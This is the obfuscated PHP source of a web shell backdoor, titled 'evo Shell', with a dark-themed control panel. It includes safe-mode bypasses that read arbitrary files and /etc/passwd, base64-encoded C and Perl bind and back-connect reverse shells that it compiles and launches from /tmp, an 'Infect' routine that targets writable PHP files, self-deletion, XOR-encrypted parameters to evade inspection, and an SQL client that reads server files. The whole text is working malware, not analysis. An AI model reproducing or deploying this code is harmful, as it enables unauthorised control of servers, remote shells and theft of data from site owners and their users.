xGs07; ng6ub: function actionSelfRemove() { if ($_POST["p1"] == "yes") { if (@unlink(preg_replace("!\(\d+\)\s.*!", '', $_SERVER["SCRIPT_FILENAME"]))) { die("Shell has been removed"); } else { echo "unlink error!"; } } if ($_POST["p1"] != "yes") { hardHeader(); } echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,'yes')">Yes</a></div>"; hardFooter(); } goto lzlP3; zl6cf: function actionSafeMode() { $temp = ''; ob_start(); switch ($_POST["p1"]) { case 1: $temp = @tempnam($test, "cx"); if (@copy("compress.zlib://" . $_POST["p2"], $temp)) { echo @file_get_contents($temp); unlink($temp); } else { echo "Sorry... Can't open file"; } break; case 2: $files = glob($_POST["p2"] . "*"); if (is_array($files)) { foreach ($files as $filename) { echo $filename . "
"; } } break; case 3: $ch = curl_init("file://" . $_POST["p2"] . "\0" . SELF_PATH); curl_exec($ch); break; case 4: ini_restore("safe_mode"); ini_restore("open_basedir"); include $_POST["p2"]; break; case 5: for (; $_POST["p2"] <= $_POST["p3"]; $_POST["p2"]++) { $uid = @posix_getpwuid($_POST["p2"]); if ($uid) { echo join(":", $uid) . "\xa"; } } break; case 6: if (!function_exists("imap_open")) { break; } $stream = imap_open($_POST["p2"], '', ''); if ($stream == FALSE) { break; } echo imap_body($stream, 1); imap_close($stream); break; } $temp = ob_get_clean(); hardHeader(); echo "<h1>Safe mode bypass</h1><div class=content>"; echo "<span>Copy (read file)</span><form onsubmit='g(null,null,"1",this.param.value);return false;'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit='g(null,null,"2",this.param.value);return false;'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit='g(null,null,"3",this.param.value);return false;'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit='g(null,null,"4",this.param.value);return false;'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit='g(null,null,"5",this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit='g(null,null,"6",this.param.value);return false;'><input type=text name=param><input type=submit value="submit"></form>"; if ($temp) { echo "<pre class="ml1" style="margin-top:5px" id="Output">" . $temp . "</pre>"; } echo "</div>"; hardFooter(); } goto BamS6; qKevr: function actionchangepass() { $s_result = ''; if (isset($_POST["p1"]) && !empty($_POST["p1"])) { $newpass = isset($_POST["p2"]) ? trim($_POST["p2"]) : ''; if (changepass($newpass)) { $s_result = "<b style="color:#28C76F !important">Password Changed!</b>"; } else { $s_result = "<b style="color:#EA5455 !important">password can't changed!</b>"; } } hardHeader(); echo "<h1>Change Password</h1><br>" . $s_result . "<div class=content>"; echo "<span>Your new password (leave empty to make the shell without password): </span><form method=post onsubmit="g('changepass',null,'submit',this.passwordnew.value,'');return false;"><input class="toolsInp" type=text name=passwordnew><input name=submitnewpass type=submit value="submit"></form>"; echo "</div><br>"; hardFooter(); } goto ng6ub; RNCDM: function actionNetwork() { hardHeader(); $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9"; $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9"; $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; echo "<h1>Network tools</h1><div class=content>\xa <form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
<span>Bind port to /bin/sh</span><br/>\xa Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
</form>
<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>\xa <span>Back-connect to</span><br/>
Server: <input type='text' name='server' value=" . $_SERVER["REMOTE_ADDR"] . "> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>\xa </form><br>"; if (isset($_POST["p1"])) { function cf($f, $t) { $w = @fopen($f, "w") or @function_exists("file_put_contents"); if ($w) { @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t)); @fclose($w); } } if ($_POST["p1"] == "bpc") { cf("/tmp/bp.c", $bind_port_c); $dokas = ex("gcc -o /tmp/bp /tmp/bp.c"); @unlink("/tmp/bp.c"); $dokas .= ex("/tmp/bp " . $_POST["p2"] . " " . $_POST["p3"] . " &"); echo "<pre class=ml1>{$dokas}" . ex("ps aux | grep bp") . "</pre>"; } if ($_POST["p1"] == "bpp") { cf("/tmp/bp.pl", $bind_port_p); $dokas = ex(which("perl") . " /tmp/bp.pl " . $_POST["p2"] . " &"); echo "<pre class=ml1>{$dokas}" . ex("ps aux | grep bp.pl") . "</pre>"; } if ($_POST["p1"] == "bcc") { cf("/tmp/bc.c", $back_connect_c); $dokas = ex("gcc -o /tmp/bc /tmp/bc.c"); @unlink("/tmp/bc.c"); $dokas .= ex("/tmp/bc " . $_POST["p2"] . " " . $_POST["p3"] . " &"); echo "<pre class=ml1>{$dokas}" . ex("ps aux | grep bc") . "</pre>"; } if ($_POST["p1"] == "bcp") { cf("/tmp/bc.pl", $back_connect_p); $dokas = ex(which("perl") . " /tmp/bc.pl " . $_POST["p2"] . " " . $_POST["p3"] . " &"); echo "<pre class=ml1>{$dokas}" . ex("ps aux | grep bc.pl") . "</pre>"; } } echo "</div>"; hardFooter(); } goto iglSy; lzlP3: function actionInfect() { hardHeader(); echo "<h1>Infect</h1><div class=content>"; if ($_POST["p1"] == "infect") { $target = $_SERVER["DOCUMENT_ROOT"]; function ListFiles($dir) { if ($dh = opendir($dir)) { $files = array(); $inner_files = array(); while ($file = readdir($dh)) { if ($file != "." && $file != "..") { if (is_dir($dir . "/" . $file)) { $inner_files = ListFiles($dir . "/" . $file); if (is_array($inner_files)) { $files = array_merge($files, $inner_files); } } else { array_push($files, $dir . "/" . $file); } } } closedir($dh); return $files; } } foreach (ListFiles($target) as $key => $file) { $nFile = substr($file, -4, 4); if ($nFile == ".php") { if ($file != $_SERVER["DOCUMENT_ROOT"] . $_SERVER["PHP_SELF"] && is_writeable($file)) { echo "{$file}<br>"; $i++; } } } echo "<font color=#7367F0 size=14>{$i}</font>"; } else { echo "<form method=post><input type=submit value=Infect name=infet></form>"; echo "Really want to infect the server? <a href=# onclick="g(null,null,'infect')">Yes</a></div>"; } hardFooter(); } goto er_VT; Qg0Nv: @ini_set("max_execution_time", 0); goto pVaa0; ZUQi1: function hardScandir($dir) { if (function_exists("scandir")) { return scandir($dir); } else { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) { $files[] = $filename; } return $files; } } goto vsMZn; M3A4u: if (empty($_POST["charset"])) { $_POST["charset"] = $dec; } goto MEgiz; lByJA: if (isset($_POST["c"])) { @chdir($_POST["c"]); } goto zuBor; e3HIC: function changepass($plain) { $newpass = "$shellpassword="" . $plain . "";"; $con = file_get_contents($_SERVER["SCRIPT_FILENAME"]); $con = preg_replace("/\$shellpassword\ *=\ *["\']*[a-zA-Z0-9_!@#%^&*=+()-]*["\']*;/is", $newpass, $con); if (file_put_contents($_SERVER["SCRIPT_FILENAME"], $con)) { return true; } else { return false; } } goto tF6Rj; xaSwR: if (!$safe_mode) { error_reporting(0); } goto jIDrn; WRlxK: function viewSize($s) { if ($s >= 1073741824) { return sprintf("%1.2f", $s / 1073741824) . " GB"; } elseif ($s >= 1048576) { return sprintf("%1.2f", $s / 1048576) . " MB"; } elseif ($s >= 1024) { return sprintf("%1.2f", $s / 1024) . " KB"; } else { return $s . " B"; } } goto LY9dw; pVaa0: @set_time_limit(0); goto y8QJO; Sty57: function decrypt($str, $pwd) { $pwd = base64_encode($pwd); $str = base64_decode($str); $enc_chr = ''; $enc_str = ''; $i = 0; while ($i < strlen($str)) { for ($j = 0; $j < strlen($pwd); $j++) { $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j])); $enc_str .= $enc_chr; $i++; if ($i >= strlen($str)) { break; } } } return base64_decode($enc_str); } goto JI6fz; MEgiz: if (!isset($_POST["ne"])) { if (isset($_POST["a"])) { $_POST["a"] = iconv("utf-8", $_POST["charset"], decrypt($_POST["a"], $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "key"])); } if (isset($_POST["c"])) { $_POST["c"] = iconv("utf-8", $_POST["charset"], decrypt($_POST["c"], $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "key"])); } if (isset($_POST["p1"])) { $_POST["p1"] = iconv("utf-8", $_POST["charset"], decrypt($_POST["p1"], $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "key"])); } if (isset($_POST["p2"])) { $_POST["p2"] = iconv("utf-8", $_POST["charset"], decrypt($_POST["p2"], $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "key"])); } if (isset($_POST["p3"])) { $_POST["p3"] = iconv("utf-8", $_POST["charset"], decrypt($_POST["p3"], $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "key"])); } } goto Sty57; zuBor: $cwd = @getcwd(); goto XXMfa; ksRpM: $dea = md5($_SERVER["HTTP_USER_AGENT"]); goto SLfoB; E2Okl: $safe_mode = @ini_get("safe_mode"); goto xaSwR; BNi7U: function get_passo() { $pattern = "/\$shellpassword=\"(.*?)\";/"; $subject = file_get_contents($_SERVER["SCRIPT_FILENAME"]); $result = preg_match($pattern, $subject, $matches); return isset($matches[1]) ? $matches[1] : ''; } goto e3HIC; SQ1Kg: function hardHeader() { if (empty($_POST["charset"])) { $_POST["charset"] = $GLOBALS[$dec]; } echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST["charset"] . "'><title>" . $_SERVER["HTTP_HOST"] . " - evo Shell</title><link rel='shortcut icon' href='https://i.imgur.com/BSwJ0QE.png'>\xa<style>\xa body {background-color:black; color:#7367F0; margin:0; font:normal 75% Arial, Helvetica, sans-serif; }
body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
table.info {color:white;}\xa table#toolsTbl {background-color: black;}\xa span,h1,a {color:#7367F0 !important;}\xa span {font-weight:bolder;}\xa h1 {border-left:5px solid #2E6E9C;color:white !important;padding:2px 5px;font:14pt Verdana;background-color:black;margin:0px;}\xa div.content {padding:5px;margin-left:5px;background-color:#060a10;}
a {text-decoration:none;}\xa a:hover {text-decoration:underline;}\xa .tooltip::after {background:#0663D5;color:white;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
.tooltip:hover::after {opacity:1;visibility:visible;}
.ml1 {border:1px solid; font-family: monospace;#202832;color:#00CFE8!important;padding:5px;margin:0;overflow:auto;}\xa .bigarea {min-width:100%;max-width:100%;height:400px;}\xa input, textarea, select {
margin: 0;\xa color: #fff;
background-color: #555;
border: 1px solid #7367F0;\xa font: 9pt Monospace,'Courier New';}
label {position:relative}
label:after {font:10px 'Consolas', monospace;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\xa\xa form {margin:0px;}
#toolsTbl {text-align:center;}\xa #fak {background:none;}
#fak td {padding:5px 0 0 0;}\xa iframe {border:1px solid #060a10;}\xa .toolsInp {width:300px}
.main th {text-align:left;background-color:#060a10;}
.main tr:hover{ background-color: #262C30;}
.main td, th{vertical-align:middle;}
input[type='submit']{color: #FFFFFF;display: inline-block;
padding: 0.35em 0.4em;\xa font-size: 80%;
font-weight: 700;
line-height: 1;
text-align: center;
white-space: nowrap;
vertical-align: baseline;
border-radius: 0.25rem;
-webkit-transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;
transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;padding-right: 0.6em;padding-left: 0.6em;border-radius: 10rem;font-weight: 400;box-shadow: 0 0 10px #7367f0;background-color: #7367F0;cursor:pointer;}\xa input[type='button']{color: #FFFFFF;display: inline-block;
padding: 0.35em 0.4em;
font-size: 80%;\xa font-weight: 700;
line-height: 1;
text-align: center;\xa white-space: nowrap;
vertical-align: baseline;\xa border-radius: 0.25rem;
-webkit-transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\xa transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;padding-right: 0.6em;padding-left: 0.6em;border-radius: 10rem;font-weight: 400;box-shadow: 0 0 10px #7367f0;background-color: #7367F0;cursor:pointer;}
.l1 {background-color:#10163A;}\xa pre {font:9pt Courier New;}\xa</style>\xa<script>
var c_ = '" . htmlspecialchars($GLOBALS["cwd"]) . "';
var a_ = '" . htmlspecialchars(@$_POST["a"]) . "'
var charset_ = '" . htmlspecialchars(@$_POST["charset"]) . "';\xa var p1_ = '" . (strpos(@$_POST["p1"], "\xa") !== false ? '' : htmlspecialchars($_POST["p1"], ENT_QUOTES)) . "';\xa var p2_ = '" . (strpos(@$_POST["p2"], "\xa") !== false ? '' : htmlspecialchars($_POST["p2"], ENT_QUOTES)) . "';
var p3_ = '" . (strpos(@$_POST["p3"], "\xa") !== false ? '' : htmlspecialchars($_POST["p3"], ENT_QUOTES)) . "';
var d = document;\xa\xa function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\xa function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\xa function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\xa if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\xa if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
d.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "key"] . "');
d.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "key"] . "');\xa d.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "key"] . "');
d.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "key"] . "');
d.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "key"] . "');
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\xa }\xa function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);\xa d.mf.submit();\xa }\xa function a(a,c,p1,p2,p3,charset) {\xa set(a,c,p1,p2,p3,charset);\xa var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)\xa params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\xa sr('" . addslashes($_SERVER["REQUEST_URI"]) . "', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)\xa req = new XMLHttpRequest();
else if (window.ActiveXObject)\xa req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;\xa req.open('POST', url, true);\xa req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);\xa }
}\xa function processReqChange() {
if( (req.readyState == 4) )\xa if(req.status == 200) {
var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');
var arr=reg.exec(req.responseText);\xa eval(arr[2].substr(0, arr[1]));\xa } else alert('Request error!');
}\xa</script>\xa<head><body><div style='position:absolute;width:100%;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>\xa<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>\xa</form>"; $freeSpace = @diskfreespace($GLOBALS["cwd"]); $totalSpace = @disk_total_space($GLOBALS["cwd"]); $totalSpace = $totalSpace ? $totalSpace : 1; $release = @php_uname("r"); $kernel = @php_uname("s"); $explink = "http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description="; if (strpos("Linux", $kernel) !== false) { $explink .= urlencode("Linux Kernel " . substr($release, 0, 6)); } else { $explink .= urlencode($kernel . " " . substr($release, 0, 3)); } if (!function_exists("posix_getegid")) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $user = $uid["name"]; $uid = $uid["uid"]; $group = $gid["name"]; $gid = $gid["gid"]; } $cwd_links = ''; $path = explode("/", $GLOBALS["cwd"]); $n = count($path); for ($i = 0; $i < $n - 1; $i++) { $cwd_links .= "<a href='#' onclick='g("FilesMan",""; for ($j = 0; $j <= $i; $j++) { $cwd_links .= $path[$j] . "/"; } $cwd_links .= "")'>" . $path[$i] . "/</a>"; } $charsets = array("UTF-8", "Windows-1251", "KOI8-R", "KOI8-U", "cp866"); $opt_charsets = ''; foreach ($charsets as $dokl) { $opt_charsets .= "<option value="" . $dokl . "" " . ($_POST["charset"] == $dokl ? "selected" : '') . ">" . $dokl . "</option>"; } $m = array("Sec. Info" => "SecInfo", "Files" => "FilesMan", "Delivery Test" => "Deliverytest", "Console" => "Console", "Infect" => "Infect", "Sql" => "Sql", "Php" => "Php", "Safe mode" => "SafeMode", "String tools" => "StringTools", "Bruteforce" => "Bruteforce", "Network" => "Network"); if (!empty($GLOBALS["password_shell"])) { $m["Change Password"] = "changepass"; $m["Logout"] = "Logout"; } else { $m["Shell password"] = "changepass"; } $menu = ''; foreach ($m as $k => $v) { if ($v == "Deliverytest" || $v == "changepass") { $menu .= "<th>[ <a href="#" style="color:#ea5455 !important" onclick="g('" . $v . "',null,'','','')">" . $k . "</a> ]</th>"; } else { $menu .= "<th>[ <a href="#" onclick="g('" . $v . "',null,'','','')">" . $k . "</a> ]</th>"; } } $drives = ''; if ($GLOBALS["os"] == "win") { foreach (range("c", "z") as $drive) { if (is_dir($drive . ":\")) { $drives .= "<a href="#" onclick="g('FilesMan','" . $drive . ":/')">[ " . $drive . " ]</a> "; } } } echo "<table style="background-color: #559;" class=info cellpadding=3 cellspacing=0 width=100%><tr style="background: #0000009e;"><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:" . ($GLOBALS["os"] == "win" ? "<br>Drives:" : '') . "</span></td>" . "<td><b style="display:none" id="systemshort">" . PHP_OS . "</b><nobr id="systemdet">" . substr(@php_uname(), 0, 120) . "</nobr><br>" . $uid . " ( " . $user . " ) <span>Group:</span> " . $gid . " ( " . $group . " )<br><nobr id="systemphp">" . @phpversion() . "</nobr> <span>Safe mode:</span> " . ($GLOBALS["safe_mode"] ? "<font color= #EA5455>ON</font>" : "<font color=#28C76F><b>OFF</b></font>") . " <a href=# onclick="g('Php',null,null,'info')">[ phpinfo ]</a> <span>Datetime:</span> " . date("Y-m-d H:i:s") . "<br>" . viewSize($totalSpace) . " <span>Free:</span> " . viewSize($freeSpace) . " (" . round(100 / ($totalSpace / $freeSpace), 2) . "%)<br>" . $cwd_links . " " . viewPermsColor($GLOBALS["cwd"]) . " <a href=# onclick="g('FilesMan','" . $GLOBALS["home_cwd"] . "','','','')">[ home ]</a><br>" . $drives . "</td>" . "<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">" . $opt_charsets . "</select></label><br><span>Server IP:</span><br>" . gethostbyname($_SERVER["HTTP_HOST"]) . "<br><span>Client IP:</span><br>-</nobr></td></tr></table>" . "<table style="background-color:black;" cellpadding=3 cellspacing=0 width=100%><tr>" . $menu . "</tr></table><div><br><center><a href="https://evochat.id" target = "_blank"style="font-size: 20px;font-weight: 600;color: #ea5455 !important;">evochat</a></center>"; } goto IWSGk; U46u7: error_reporting(0); goto DDb0p; JI6fz: @ini_set("error_log", NULL); goto zVhWb; X78wP: function actionSql() { class DbClass { var $type; var $link; var $res; function __construct($type) { $this->type = $type; } function connect($host, $user, $pass, $dbname) { switch ($this->type) { case "mysql": if ($this->link = @mysql_connect($host, $user, $pass, true)) { return true; } break; case "pgsql": $host = explode(":", $host); if (!$host[1]) { $host[1] = 5432; } if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) { return true; } break; } return false; } function selectdb($db) { switch ($this->type) { case "mysql": if (@mysql_select_db($db)) { return true; } break; } return false; } function query($str) { switch ($this->type) { case "mysql": return $this->res = @mysql_query($str); break; case "pgsql": return $this->res = @pg_query($this->link, $str); break; } return false; } function fetch() { $res = func_num_args() ? func_get_arg(0) : $this->res; switch ($this->type) { case "mysql": return @mysql_fetch_assoc($res); break; case "pgsql": return @pg_fetch_assoc($res); break; } return false; } function listDbs() { switch ($this->type) { case "mysql": return $this->query("SHOW databases"); break; case "pgsql": return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); break; } return false; } function listTables() { switch ($this->type) { case "mysql": return $this->res = $this->query("SHOW TABLES"); break; case "pgsql": return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); break; } return false; } function error() { switch ($this->type) { case "mysql": return @mysql_error(); break; case "pgsql": return @pg_last_error(); break; } return false; } function setCharset($str) { switch ($this->type) { case "mysql": if (function_exists("mysql_set_charset")) { return @mysql_set_charset($str, $this->link); } else { $this->query("SET CHARSET " . $str); } break; case "pgsql": return @pg_set_client_encoding($this->link, $str); break; } return false; } function loadFile($str) { switch ($this->type) { case "mysql": return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file")); break; case "pgsql": $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '" . addslashes($str) . "';select file from hard2;"); $r = array(); while ($i = $this->fetch()) { $r[] = 